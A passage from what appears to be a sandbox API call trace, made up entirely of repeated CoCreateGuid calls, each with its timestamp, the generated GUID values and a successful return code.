[6]=0xbe, [7]=0x76))) returned 0x0 [0217.830] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x9ff827e8, Data2=0x6d32, Data3=0x4e3b, Data4=([0]=0x9c, [1]=0xa5, [2]=0x27, [3]=0xb7, [4]=0xd6, [5]=0x1b, [6]=0x47, [7]=0x15))) returned 0x0 [0217.838] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xb9114e27, Data2=0xd0c4, Data3=0x42ef, Data4=([0]=0xa6, [1]=0xf6, [2]=0x9e, [3]=0xe, [4]=0x6f, [5]=0xbe, [6]=0x40, [7]=0xf9))) returned 0x0 [0217.844] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xf20a51b, Data2=0x7a44, Data3=0x4323, Data4=([0]=0x9c, [1]=0x98, [2]=0x77, [3]=0x62, [4]=0xb9, [5]=0x30, [6]=0x2b, [7]=0xb9))) returned 0x0 [0217.850] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x913cdae1, Data2=0x7fba, Data3=0x4d9a, Data4=([0]=0x99, [1]=0xf2, [2]=0xae, [3]=0xd6, [4]=0x2b, [5]=0x16, [6]=0xe6, [7]=0x3d))) returned 0x0 [0217.856] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x418addb9, Data2=0xbabf, Data3=0x4795, Data4=([0]=0x85, [1]=0x26, [2]=0xca, [3]=0x2f, [4]=0xb3, [5]=0x96, [6]=0x3c, [7]=0x59))) returned 0x0 [0217.940] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x6f548692, Data2=0xd613, Data3=0x4159, Data4=([0]=0xbe, [1]=0x9, [2]=0x88, [3]=0x55, [4]=0xa, [5]=0x20, [6]=0x9a, [7]=0x90))) returned 0x0 [0217.965] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x93fedf7f, Data2=0xef23, Data3=0x469b, Data4=([0]=0x98, [1]=0x7e, [2]=0xc5, [3]=0xb1, [4]=0x74, [5]=0x7, [6]=0x54, [7]=0x19))) returned 0x0 [0217.972] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xd31ca1fc, Data2=0xccb0, Data3=0x49a5, Data4=([0]=0xab, [1]=0x11, [2]=0xf9, [3]=0x68, [4]=0x6e, [5]=0x5a, [6]=0xa0, [7]=0x1f))) returned 0x0 [0217.978] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x2675f77f, Data2=0x8a27, Data3=0x424c, Data4=([0]=0xa4, [1]=0x4c, [2]=0xee, [3]=0xf8, [4]=0xa9, [5]=0x49, [6]=0x78, [7]=0x8e))) returned 0x0 [0218.025] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x4ad81bed, Data2=0xd5b2, Data3=0x46df, Data4=([0]=0x8d, [1]=0xe0, [2]=0xaf, [3]=0x6d, [4]=0x5b, [5]=0xcc, [6]=0x7b, [7]=0x11))) returned 0x0 [0218.025] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x3de061d6, Data2=0x770c, Data3=0x4894, Data4=([0]=0x8e, [1]=0x20, [2]=0x93, [3]=0x42, [4]=0xe2, [5]=0xa4, [6]=0xf6, [7]=0xe))) returned 0x0 [0218.025] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xfe366f7, Data2=0xeb28, Data3=0x4c0a, Data4=([0]=0x97, [1]=0xe3, [2]=0x59, [3]=0x30, [4]=0x91, [5]=0x19, [6]=0x14, [7]=0xf4))) returned 0x0 [0218.122] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x1665ce01, Data2=0xe5a8, Data3=0x4f93, Data4=([0]=0xbf, [1]=0x13, [2]=0xda, [3]=0x27, [4]=0xe1, [5]=0x2c, [6]=0x1c, [7]=0x9c))) returned 0x0 [0218.130] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x1677c9ea, Data2=0x4a65, Data3=0x4c35, Data4=([0]=0x91, [1]=0xac, [2]=0x52, [3]=0xdf, [4]=0x9a, [5]=0xb9, [6]=0x4, [7]=0x7d))) returned 0x0 [0218.323] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x42ed3745, Data2=0xe37f, Data3=0x4735, Data4=([0]=0x9d, [1]=0x72, [2]=0xee, [3]=0xa1, [4]=0xce, [5]=0x47, [6]=0x1d, [7]=0x8c))) returned 0x0 [0218.332] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xe67f01d4, Data2=0x3225, Data3=0x4e2d, Data4=([0]=0xa6, [1]=0xed, [2]=0x91, [3]=0x91, [4]=0x45, [5]=0x64, [6]=0xd2, [7]=0x6a))) returned 0x0 [0218.341] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xd634af68, Data2=0xca48, Data3=0x4ae3, Data4=([0]=0x98, [1]=0xe7, [2]=0x18, [3]=0xf9, [4]=0xbe, [5]=0xf3, [6]=0x9d, [7]=0x31))) returned 0x0 [0218.377] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xd7142617, Data2=0x29dc, Data3=0x45c3, Data4=([0]=0x81, [1]=0x58, [2]=0xa2, [3]=0xac, [4]=0x76, [5]=0xe6, [6]=0xfe, [7]=0x68))) returned 0x0 [0218.386] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x15227cab, Data2=0x65fd, Data3=0x46a6, Data4=([0]=0xb0, [1]=0x9, [2]=0xd3, [3]=0xd4, [4]=0x6f, [5]=0x2d, [6]=0x2b, [7]=0xfe))) returned 0x0 [0218.396] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x4929b97c, Data2=0x6acf, Data3=0x4fb6, Data4=([0]=0xaf, [1]=0xc9, [2]=0x8a, [3]=0x3f, [4]=0x19, [5]=0x2f, [6]=0xc5, [7]=0xfa))) returned 0x0 [0218.416] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xc887f062, Data2=0xe27b, Data3=0x442a, Data4=([0]=0x95, [1]=0xb7, [2]=0x95, [3]=0x62, [4]=0x30, [5]=0x12, [6]=0x6b, [7]=0x67))) returned 0x0 [0218.426] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x21f09e54, Data2=0x995d, Data3=0x4859, Data4=([0]=0xa8, [1]=0xca, [2]=0x2c, [3]=0xbf, [4]=0x22, [5]=0xce, [6]=0x36, [7]=0xb4))) returned 0x0 [0218.434] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x60926df4, Data2=0xb4c8, Data3=0x4360, Data4=([0]=0x82, [1]=0xb, [2]=0x7, [3]=0x66, [4]=0xa8, [5]=0x3a, [6]=0x2f, [7]=0xcd))) returned 0x0 [0218.443] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x2a8ef131, Data2=0x2d98, Data3=0x42dc, Data4=([0]=0xa4, [1]=0x58, [2]=0x48, [3]=0x26, [4]=0xf3, [5]=0xc3, [6]=0xd7, [7]=0xdc))) returned 0x0 [0218.450] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x35ee18ac, Data2=0x14ce, Data3=0x4b1b, Data4=([0]=0xac, [1]=0xea, [2]=0xf6, [3]=0xdc, [4]=0x4f, [5]=0x43, [6]=0xf8, [7]=0xcd))) returned 0x0 [0218.454] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x9c6ea66, Data2=0x15ea, Data3=0x43c4, Data4=([0]=0x9f, [1]=0x8d, [2]=0xf, [3]=0x47, [4]=0x17, [5]=0x52, [6]=0x4d, [7]=0xac))) returned 0x0 [0218.497] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x18281d86, Data2=0x290e, Data3=0x400e, Data4=([0]=0x8b, [1]=0xb3, [2]=0xaf, [3]=0x52, [4]=0xe1, [5]=0x1, [6]=0x57, [7]=0xcf))) returned 0x0 [0218.503] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xcac41a18, Data2=0x4198, Data3=0x4c58, Data4=([0]=0xad, [1]=0x4e, [2]=0x59, [3]=0xd9, [4]=0xa4, [5]=0xab, [6]=0xa5, [7]=0x89))) returned 0x0 [0218.508] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xf5302d25, Data2=0xf299, Data3=0x4836, Data4=([0]=0xaf, [1]=0xe8, [2]=0x43, [3]=0x66, [4]=0x9b, [5]=0x82, [6]=0x92, [7]=0x22))) returned 0x0 [0218.512] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xe73f3ae0, Data2=0x6df2, Data3=0x4117, Data4=([0]=0x9d, [1]=0x21, [2]=0x49, [3]=0x5f, [4]=0xe2, [5]=0xe0, [6]=0x9, [7]=0x9b))) returned 0x0 [0218.523] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x177174a7, Data2=0x8284, Data3=0x4205, Data4=([0]=0xa5, [1]=0x7f, [2]=0xf9, [3]=0xd9, [4]=0x48, [5]=0x68, [6]=0x24, [7]=0x10))) returned 0x0 [0218.529] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x132fd3ae, Data2=0xd6ff, Data3=0x4058, Data4=([0]=0xbb, [1]=0x5c, [2]=0x23, [3]=0x46, [4]=0x4b, [5]=0x2e, [6]=0xf1, [7]=0x7))) returned 0x0 [0218.549] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xb030ab5c, Data2=0x8cd0, Data3=0x41b4, Data4=([0]=0x8a, [1]=0x26, [2]=0xcc, [3]=0x26, [4]=0x7c, [5]=0xf1, [6]=0xbb, [7]=0x45))) returned 0x0 [0218.556] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x6e88051e, Data2=0x8087, Data3=0x41c9, Data4=([0]=0xa8, [1]=0x64, [2]=0xab, [3]=0xa8, [4]=0xf4, [5]=0x75, [6]=0x90, [7]=0x4a))) returned 0x0 [0218.565] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xeb8e8acf, Data2=0xefc1, Data3=0x49ec, Data4=([0]=0x86, [1]=0x15, [2]=0x89, [3]=0x58, [4]=0x1, [5]=0xb9, [6]=0xa7, [7]=0x31))) returned 0x0 [0218.572] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x1caea19d, Data2=0x539a, Data3=0x4a1b, Data4=([0]=0xb2, [1]=0x46, [2]=0xdb, [3]=0xe7, [4]=0xfa, [5]=0x27, [6]=0x1a, [7]=0xbe))) returned 0x0 [0218.575] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xd80e6fab, Data2=0x2df8, Data3=0x43c9, Data4=([0]=0xac, [1]=0xbc, [2]=0xdc, [3]=0x36, [4]=0xcd, [5]=0x33, [6]=0xd1, [7]=0x2d))) returned 0x0 [0218.608] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xd5cc0e04, Data2=0x3b7, Data3=0x4ea4, Data4=([0]=0x9b, [1]=0x3c, [2]=0x6a, [3]=0xee, [4]=0x18, [5]=0x4b, [6]=0xa4, [7]=0xbc))) returned 0x0 [0218.615] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xd8838950, Data2=0xe39, Data3=0x483d, Data4=([0]=0xbd, [1]=0x9c, [2]=0x52, [3]=0x98, [4]=0xfd, [5]=0x63, [6]=0x7a, [7]=0xc5))) returned 0x0 [0218.635] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xe44ea308, Data2=0xbbad, Data3=0x467b, Data4=([0]=0xb6, [1]=0x8e, [2]=0xaf, [3]=0xb, [4]=0x46, [5]=0x27, [6]=0x40, [7]=0x4a))) returned 0x0 [0218.697] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xd449087f, Data2=0x328c, Data3=0x4654, Data4=([0]=0x9b, [1]=0x91, [2]=0x7a, [3]=0xee, [4]=0x48, [5]=0x3a, [6]=0x46, [7]=0xc8))) returned 0x0 [0218.704] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x35f6c157, Data2=0x1b3, Data3=0x497c, Data4=([0]=0x9f, [1]=0xda, [2]=0x3, [3]=0x6a, [4]=0x49, [5]=0x9b, [6]=0x94, [7]=0x5b))) returned 0x0 [0218.711] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x1384714e, Data2=0xa365, Data3=0x469c, Data4=([0]=0xac, [1]=0xc4, [2]=0xd8, [3]=0x4c, [4]=0x9b, [5]=0x95, [6]=0x55, [7]=0xd1))) returned 0x0 [0218.712] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xcda9fd14, Data2=0x6e0a, Data3=0x4d44, Data4=([0]=0x91, [1]=0x2e, [2]=0x8d, [3]=0xb7, [4]=0x26, [5]=0x2b, [6]=0x6c, [7]=0x2e))) returned 0x0 [0218.714] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x87d7faa8, Data2=0xf60b, Data3=0x45a3, Data4=([0]=0x9f, [1]=0xf2, [2]=0x3f, [3]=0x4b, [4]=0xf9, [5]=0x38, [6]=0x52, [7]=0x7a))) returned 0x0 [0218.716] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x2e7ac55c, Data2=0xd497, Data3=0x4557, Data4=([0]=0xac, [1]=0xac, [2]=0x8, [3]=0xa0, [4]=0xa1, [5]=0x30, [6]=0x70, [7]=0xb2))) returned 0x0 [0218.719] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x4e32df53, Data2=0x5188, Data3=0x430c, Data4=([0]=0x90, [1]=0xc1, [2]=0x2a, [3]=0xce, [4]=0xee, [5]=0x2c, [6]=0xbf, [7]=0xb5))) returned 0x0 [0218.722] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x703eb531, Data2=0x37a9, Data3=0x408c, Data4=([0]=0xb1, [1]=0x16, [2]=0xb0, [3]=0x9b, [4]=0xf4, [5]=0x43, [6]=0x8f, [7]=0x1a))) returned 0x0 [0218.724] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xd1feb150, Data2=0x66e6, Data3=0x4a31, Data4=([0]=0x89, [1]=0x1e, [2]=0x82, [3]=0x42, [4]=0x25, [5]=0x58, [6]=0xf, [7]=0xe9))) returned 0x0 [0218.726] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xc49004fb, Data2=0xbda7, Data3=0x4082, Data4=([0]=0xa2, [1]=0x10, [2]=0x20, [3]=0xc0, [4]=0xf, [5]=0x43, [6]=0x62, [7]=0xad))) returned 0x0 [0218.730] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xf19b3053, Data2=0xec3d, Data3=0x440c, Data4=([0]=0xaa, [1]=0x82, [2]=0x89, [3]=0x3a, [4]=0xe, [5]=0x21, [6]=0x78, [7]=0xff))) returned 0x0 [0218.732] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x785b9d04, Data2=0x2b7, Data3=0x453d, Data4=([0]=0x87, [1]=0xa1, [2]=0x42, [3]=0x41, [4]=0xba, [5]=0xf, [6]=0x3b, [7]=0x33))) returned 0x0 [0218.815] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xcecb2ae8, Data2=0x4d0a, Data3=0x4ddd, Data4=([0]=0x87, [1]=0xa1, [2]=0x86, [3]=0x57, [4]=0x6a, [5]=0xd2, [6]=0xd0, [7]=0xd))) returned 0x0 [0218.819] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xca9ab2a8, Data2=0x2119, Data3=0x4dc5, Data4=([0]=0xa1, [1]=0xb2, [2]=0x95, [3]=0x3c, [4]=0xc3, [5]=0x81, [6]=0xdd, [7]=0xf5))) returned 0x0 [0218.824] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xc24fdc45, Data2=0x8d08, Data3=0x4285, Data4=([0]=0xb3, [1]=0x3d, [2]=0x33, [3]=0x73, [4]=0x7f, [5]=0x31, [6]=0x4, [7]=0xd6))) returned 0x0 [0218.826] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x140004b7, Data2=0x296b, Data3=0x4c82, Data4=([0]=0x9e, [1]=0x86, [2]=0x93, [3]=0x10, [4]=0xd6, [5]=0x91, [6]=0x4d, [7]=0x8e))) returned 0x0 [0218.827] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xe4028e1d, Data2=0xa010, Data3=0x4b2a, Data4=([0]=0x91, [1]=0xa3, [2]=0xab, [3]=0x64, [4]=0x40, [5]=0x8e, [6]=0x1e, [7]=0xba))) returned 0x0 [0218.827] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xfc3442f4, Data2=0xb618, Data3=0x465a, Data4=([0]=0x81, [1]=0xd8, [2]=0xc1, [3]=0xf4, [4]=0xe4, [5]=0xc9, [6]=0x6a, [7]=0x2e))) returned 0x0 [0218.829] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x5aa225fc, Data2=0x37f4, Data3=0x424e, Data4=([0]=0x9e, [1]=0xed, [2]=0x51, [3]=0x99, [4]=0xfa, [5]=0x2f, [6]=0xad, [7]=0xda))) returned 0x0 [0218.830] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x59f71dca, Data2=0xb961, Data3=0x4731, Data4=([0]=0x97, [1]=0x36, [2]=0xca, [3]=0x73, [4]=0x80, [5]=0x39, [6]=0x92, [7]=0x46))) returned 0x0 [0218.831] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x8267385f, Data2=0xab58, Data3=0x4d93, Data4=([0]=0xaa, [1]=0x49, [2]=0xef, [3]=0x1b, [4]=0xf4, [5]=0x70, [6]=0xa5, [7]=0x41))) returned 0x0 [0218.832] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x7b4c97a6, Data2=0xb20e, Data3=0x4931, Data4=([0]=0x8b, [1]=0x28, [2]=0x14, [3]=0xb5, [4]=0xc2, [5]=0xd1, [6]=0x60, [7]=0xcc))) returned 0x0 [0218.832] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xdce72c91, Data2=0xf323, Data3=0x474a, Data4=([0]=0x82, [1]=0xb7, [2]=0x12, [3]=0x85, [4]=0xad, [5]=0x9c, [6]=0xb7, [7]=0x9))) returned 0x0 [0218.833] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xede36f90, Data2=0x2e12, Data3=0x4718, Data4=([0]=0xa5, [1]=0x81, [2]=0x8a, [3]=0x2f, [4]=0xce, [5]=0x30, [6]=0x39, [7]=0xc2))) returned 0x0 [0218.834] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x250bb5d0, Data2=0xd9dc, Data3=0x4717, Data4=([0]=0xad, [1]=0x6a, [2]=0x21, [3]=0x4d, [4]=0xc6, [5]=0x3f, [6]=0x9d, [7]=0xfa))) returned 0x0 [0218.834] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x4831bf89, Data2=0x3f9, Data3=0x4273, Data4=([0]=0x96, [1]=0xf1, [2]=0x35, [3]=0xc, [4]=0x17, [5]=0xd2, [6]=0xf4, [7]=0x71))) returned 0x0 [0218.835] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xe5990f4f, Data2=0x69d9, Data3=0x46f0, Data4=([0]=0x94, [1]=0x2, [2]=0xfb, [3]=0xf3, [4]=0x21, [5]=0x4b, [6]=0xc4, [7]=0x28))) returned 0x0 [0218.836] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xa2c495d, Data2=0x580a, Data3=0x4fe5, Data4=([0]=0x81, [1]=0xd8, [2]=0x64, [3]=0x42, [4]=0x92, [5]=0x91, [6]=0xcf, [7]=0x73))) returned 0x0 [0218.837] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x1f3abccc, Data2=0x7765, Data3=0x4958, Data4=([0]=0x96, [1]=0xe3, [2]=0x21, [3]=0x2, [4]=0xe3, [5]=0x71, [6]=0xf, [7]=0x5e))) returned 0x0 [0218.838] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xbf0ea72f, Data2=0x91a, Data3=0x4e7b, Data4=([0]=0x87, [1]=0xc9, [2]=0xf5, [3]=0x38, [4]=0xee, [5]=0x87, [6]=0x24, [7]=0x4e))) returned 0x0 [0218.838] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x3c43032a, Data2=0x283c, Data3=0x480c, Data4=([0]=0x89, [1]=0x91, [2]=0xb6, [3]=0x65, [4]=0xa1, [5]=0xac, [6]=0xa8, [7]=0xe7))) returned 0x0 [0218.838] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x7eab34f8, Data2=0x4de0, Data3=0x4650, Data4=([0]=0x97, [1]=0x62, [2]=0x5f, [3]=0xb7, [4]=0xce, [5]=0x78, [6]=0x38, [7]=0xd2))) returned 0x0 [0218.839] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x90a57f72, Data2=0xff00, Data3=0x4c07, Data4=([0]=0x8f, [1]=0xf0, [2]=0x82, [3]=0x4c, [4]=0x69, [5]=0xb3, [6]=0x5c, [7]=0xc3))) returned 0x0 [0218.839] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xed267074, Data2=0x5db5, Data3=0x4617, Data4=([0]=0xb5, [1]=0x8, [2]=0x1a, [3]=0xee, [4]=0x18, [5]=0x45, [6]=0x27, [7]=0x21))) returned 0x0 [0218.841] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x9fbaaf15, Data2=0x7973, Data3=0x459f, Data4=([0]=0x8e, [1]=0xbc, [2]=0x73, [3]=0x2b, [4]=0x7, [5]=0xb5, [6]=0xa8, [7]=0xce))) returned 0x0 [0218.843] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x2b2ef43d, Data2=0x48c1, Data3=0x4968, Data4=([0]=0xbd, [1]=0xf9, [2]=0x4, [3]=0x2f, [4]=0xd1, [5]=0xa5, [6]=0x32, [7]=0x8c))) returned 0x0 [0218.844] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x4aaecc85, Data2=0xd23, Data3=0x4e0a, Data4=([0]=0x96, [1]=0x1e, [2]=0xcc, [3]=0xdd, [4]=0xa9, [5]=0xac, [6]=0xcd, [7]=0x9e))) returned 0x0 [0218.844] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xf9ada790, Data2=0xcdd3, Data3=0x4e13, Data4=([0]=0xa9, [1]=0x3, [2]=0xeb, [3]=0x63, [4]=0xa7, [5]=0x8c, [6]=0x7a, [7]=0x85))) returned 0x0 [0218.845] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x1e90d0dc, Data2=0x93b1, Data3=0x49dc, Data4=([0]=0xb1, [1]=0x20, [2]=0x20, [3]=0xd2, [4]=0x8e, [5]=0x80, [6]=0x40, [7]=0x14))) returned 0x0 [0218.845] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x99a550, Data2=0x7825, Data3=0x4a42, Data4=([0]=0xa6, [1]=0xc, [2]=0xfe, [3]=0x84, [4]=0x7f, [5]=0x66, [6]=0xc8, [7]=0x66))) returned 0x0 [0218.847] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xb3912dfc, Data2=0x39a4, Data3=0x4362, Data4=([0]=0xb1, [1]=0x69, [2]=0xcc, [3]=0x73, [4]=0x96, [5]=0xc5, [6]=0x4e, [7]=0x66))) returned 0x0 [0218.849] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x733255, Data2=0x30c2, Data3=0x4c7e, Data4=([0]=0x9d, [1]=0x58, [2]=0x8a, [3]=0xda, [4]=0xa9, [5]=0x80, [6]=0x2d, [7]=0x94))) returned 0x0 [0218.849] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x9add17fd, Data2=0x82cb, Data3=0x4d47, Data4=([0]=0xa7, [1]=0x8a, [2]=0xa8, [3]=0x9a, [4]=0x3, [5]=0xb3, [6]=0x6f, [7]=0x20))) returned 0x0 [0218.850] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x3f46e647, Data2=0x1cd0, Data3=0x48d2, Data4=([0]=0xbd, [1]=0x51, [2]=0x1e, [3]=0x24, [4]=0x71, [5]=0x8c, [6]=0xb, [7]=0x8e))) returned 0x0 [0218.851] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x3935575f, Data2=0x833d, Data3=0x4889, Data4=([0]=0x96, [1]=0x41, [2]=0x94, [3]=0xa4, [4]=0xf0, [5]=0xb2, [6]=0xc1, [7]=0x33))) returned 0x0 [0218.852] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x5a1fb1d6, Data2=0xde56, Data3=0x4985, Data4=([0]=0xbb, [1]=0xde, [2]=0x85, [3]=0xde, [4]=0xbb, [5]=0x93, [6]=0x15, [7]=0xe7))) returned 0x0 [0218.853] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x23c3f130, Data2=0x1209, Data3=0x4064, Data4=([0]=0x98, [1]=0x89, [2]=0xa6, [3]=0xf4, [4]=0x1c, [5]=0x9c, [6]=0x4c, [7]=0x51))) returned 0x0 [0218.853] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xadd16505, Data2=0x7db1, Data3=0x4b38, Data4=([0]=0xb4, [1]=0x91, [2]=0x80, [3]=0x1b, [4]=0x5f, [5]=0x85, [6]=0x38, [7]=0x13))) returned 0x0 [0218.858] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x164e52b, Data2=0xd08, Data3=0x4850, Data4=([0]=0x93, [1]=0xa9, [2]=0x5b, [3]=0xe7, [4]=0xc1, [5]=0xd3, [6]=0x72, [7]=0xa3))) returned 0x0 [0218.863] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x68c69a72, Data2=0x23b4, Data3=0x49ea, Data4=([0]=0x80, [1]=0xd8, [2]=0x47, [3]=0xd7, [4]=0x27, [5]=0x6c, [6]=0x2c, [7]=0x47))) returned 0x0 [0218.864] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xa61d8380, Data2=0x5659, Data3=0x4d89, Data4=([0]=0x9c, [1]=0xae, [2]=0x60, [3]=0xfc, [4]=0x3f, [5]=0x55, [6]=0x34, [7]=0x6e))) returned 0x0 [0218.864] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xa1123645, Data2=0xf076, Data3=0x440b, Data4=([0]=0xab, [1]=0x1, [2]=0xfa, [3]=0x64, [4]=0xef, [5]=0xde, [6]=0xba, [7]=0x0))) returned 0x0 [0218.865] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xeb8488a9, Data2=0x3c4b, Data3=0x41a7, Data4=([0]=0x88, [1]=0x4d, [2]=0x37, [3]=0x29, [4]=0xf4, [5]=0x56, [6]=0xd8, [7]=0x9a))) returned 0x0 [0218.866] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xc333afb, Data2=0x29fa, Data3=0x4830, Data4=([0]=0x8a, [1]=0xcc, [2]=0x4d, [3]=0xf9, [4]=0xd7, [5]=0x9c, [6]=0x82, [7]=0xb))) returned 0x0 [0218.867] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xe84c0ed1, Data2=0x9b9d, Data3=0x4a7b, Data4=([0]=0xa6, [1]=0xb5, [2]=0x3c, [3]=0x5a, [4]=0x0, [5]=0x35, [6]=0x0, [7]=0xd5))) returned 0x0 [0218.868] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xc0a257af, Data2=0xc575, Data3=0x4d74, Data4=([0]=0xbe, [1]=0x80, [2]=0xc0, [3]=0x88, [4]=0x99, [5]=0xfe, [6]=0xdd, [7]=0x58))) returned 0x0 [0218.869] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x72078abf, Data2=0x1bf2, Data3=0x4bbf, Data4=([0]=0xba, [1]=0x28, [2]=0xda, [3]=0xbc, [4]=0x30, [5]=0xaf, [6]=0x1c, [7]=0xfe))) returned 0x0 [0218.870] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xb8c5fe6d, Data2=0xc29b, Data3=0x4e0b, Data4=([0]=0x9d, [1]=0x12, [2]=0x5b, [3]=0xf0, [4]=0xdc, [5]=0x2f, [6]=0x7a, 